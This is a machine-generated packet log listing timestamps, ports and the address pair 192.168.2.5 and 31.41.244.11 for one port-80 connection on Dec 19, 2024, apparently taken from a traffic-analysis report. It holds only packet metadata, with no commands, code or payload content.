Dec 19, 2024 03:09:10.602678061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.602727890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.602792978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.602844954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.607187033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.607266903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.607373953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.607423067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.611735106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.611789942 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.712352991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.712471008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.712474108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.712542057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.714135885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.714215994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.714222908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.714292049 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.717817068 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.717883110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.717958927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.718019962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.721460104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.721580982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.721658945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.725002050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.725119114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.725186110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.728560925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.728663921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.728743076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.731992960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.732090950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.732167959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.735389948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.735495090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.735572100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.738604069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.738679886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.738698959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.738759995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.741863012 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.742047071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.742125988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.745135069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.745234013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.745300055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.748440027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.748548985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.748629093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.751745939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.751806021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.751889944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.751944065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.754934072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.754998922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.755044937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.755100012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.758186102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.758248091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.758291960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.758339882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.761456966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.761524916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.761574030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.761632919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.764729023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.764791965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.764858007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.764910936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.768049955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.768121958 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.768167973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.768238068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.771286964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.771363020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.771421909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.771481991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.774550915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.774676085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.774679899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.774734974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.777868986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.777968884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.778059006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.781096935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.781177998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.781208038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.781271935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.784329891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.784399033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.784446955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.784506083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.787846088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.787885904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.787911892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.788012981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.790904045 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.790970087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.791021109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.791080952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.794162989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.794226885 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.794287920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.794346094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.797440052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.797502041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.797559023 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.797616959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.800723076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.800822020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.800833941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.800874949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.803991079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.804054976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.804090977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.804150105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.807235003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.807296991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.807349920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.807404995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.810514927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.810590029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.810616970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.810678959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.813792944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.813851118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.813865900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.813924074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.817018986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.817082882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.817143917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.817200899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.820274115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.820331097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.820413113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.820468903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.823530912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.823590994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.904684067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.904737949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.904773951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.904797077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.905926943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.905998945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.906060934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.906124115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.908556938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.908636093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.908694029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.908757925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.911185026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.911253929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.911303997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.911375046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.913840055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.913913012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.914026976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.914097071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.916419029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.916527033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.916646004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.916646957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.918890953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.918953896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.919009924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.919059038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.921411991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.921518087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.921557903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.921618938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.923861027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.923928976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.923983097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.924051046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.926363945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.926419973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.926435947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.926470995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.928652048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.928728104 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.928776979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.928839922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.930959940 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.931022882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.931071043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.931124926 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.933291912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.933355093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.933406115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.933459997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.935599089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.935683966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.935710907 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.935765982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.937800884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.937861919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.937913895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.937972069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.940040112 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.940103054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.940128088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.940172911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.942260027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.942348957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.942399025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.942455053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.944432974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.944494009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.944528103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.944587946 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.946613073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.946672916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.946717978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.947026968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.948724031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.948781013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.948921919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.948980093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.950887918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.950943947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.950994015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.951047897 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.952992916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.953048944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.953097105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.953154087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.955159903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.955214977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.955261946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.955334902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.957335949 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.957406044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.957427979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.957485914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.959456921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.959518909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.959558964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.959625006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.961584091 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.961643934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.961679935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.961733103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.963788033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.963860035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.963898897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.963951111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.965883017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.965960026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.966000080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.966056108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.968064070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.968178988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.968209028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.968247890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.970221043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.970278025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.970346928 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.970418930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.972352982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.972414017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.972485065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.972543001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.974524021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.974584103 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.974632978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.974704027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.976664066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.976722956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.976788044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.976845026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.978832006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.978895903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.978920937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.978975058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.980959892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.981034040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.981100082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.981159925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.983146906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.983206987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.983274937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.983330965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.985239983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.985301018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.985367060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.985434055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.987380028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.987456083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.987529993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.987591028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.989545107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.989617109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.989645958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.989702940 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.991703033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.991764069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.991827011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.991887093 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.993923903 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.993979931 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.993983984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.994035959 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.995992899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.996052980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.996124029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.996182919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.998148918 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.998208046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:10.998272896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:10.998332024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.000284910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.000346899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.000396967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.000453949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.002430916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.002490997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.002557993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.002614975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.004573107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.004673004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.004681110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.004725933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.006759882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.006820917 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.006876945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.006932974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.008893967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.008951902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.009023905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.009078979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.011039019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.011111975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.011178970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.011234999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.013204098 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.013266087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.013309956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.013365984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.015341043 CET	80	49835	31.41.244.11	192.168.2.5
